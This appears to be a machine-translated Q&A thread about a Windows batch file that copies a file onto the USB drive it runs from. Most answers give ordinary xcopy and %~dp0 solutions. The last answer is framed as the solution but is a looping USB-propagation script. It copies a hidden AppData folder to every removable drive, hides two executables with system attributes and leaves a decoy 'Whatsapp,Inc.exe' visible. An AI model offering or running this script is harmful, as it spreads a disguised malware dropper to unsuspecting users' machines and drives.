1

我想创建一个批处理文件以将文件从任何 Dir 复制到 .bat 文件所在的根文件夹中,就像 USB 闪存驱动器一样。

我不完整的命令:

    xcopy /s "%userprofile%\Desktop\test.txt" "?"

我可以用“?”代替什么????多谢你们

4

5 回答 5

1

这将完全按照您对任何和所有连接的 USB 驱动器的要求进行。

@echo off

for /F "usebackq tokens=1,2,3,4 " %%i in (`wmic logicaldisk get caption^,description^,drivetype 2^>NUL`) do (

if %%l equ 2 (
xcopy /s "%userprofile%\Desktop\test.txt" %%i\
        )
        )
于 2013-11-23T03:54:37.067 回答
0

你应该用USB驱动器的驱动器号替换它:\ 所以,真正的问题是如何确定系统中的哪些驱动器是USB闪存驱动器,我猜?这是代码:

@echo off
setlocal enabledelayedexpansion
set INTEXTFILE=temp.txt
set OUTTEXTFILE=temp.bat
set SEARCHTEXT='Removable Disk'
set REPLACETEXT=
set OUTPUTLINE=
wmic logicaldisk get name,description|grep -h "Removable" > %INTEXTFILE%

for /f "tokens=3,* delims= " %%A in ( '"type %INTEXTFILE%"') do (
SET string=%%A
SET modified=!string:%SEARCHTEXT%=%REPLACETEXT%!
)
echo xcopy /s "%userprofile%\Desktop\test.txt" !modified! > %OUTTEXTFILE%
call %OUTTEXTFILE%
del  %OUTTEXTFILE%
del  %INTEXTFILE%

但要考虑到它肯定只适用于 1 个可移动磁盘。如果插入了两个这种类型的设备,它将失败。

于 2013-05-29T11:38:27.630 回答
0
 xcopy /s "%userprofile%\Desktop\test.txt" "\"
于 2013-05-29T11:26:04.363 回答
0

您需要做的是使用 USB 目录的相对路径。代码将如下所示:

@echo off
set /p entry= Enter the the path of the file you'd like to copy:
copy %entry% %~dp0\*.*
@pause

这应该让您进入一个提示,您想从/它的名称复制文件夹。它将文件命名为与原始文件相同并保持原始格式(.txt 等)。让我知道这是否对您不起作用而不是投票,我会尽快为您制定另一个解决方案。祝你好运!

于 2014-10-07T23:41:57.107 回答
0
@ECHO Off
:loop
@echo off
set INTERVAL=5
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
  for %%c in (%%b) do (
     for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
        if %%d equ Removable (
          echo %%c is Removable
            cd "%USERPROFILE%\Appdata\Local\SystemSettings"
              xcopy "%USERPROFILE%\Appdata\Local\SystemSettings" "%%c" /s /e /h /y
                ATTRIB +H -R +S %%cConfigure.exe
                   ATTRIB +H -R +S %%cHL~Realtime~Defense.exe
                      ATTRIB -H -R -s %%cWhatsapp,Inc.exe

timeout /nobreak /t 99
goto loop

正是您所需要的

于 2016-03-12T10:56:38.560 回答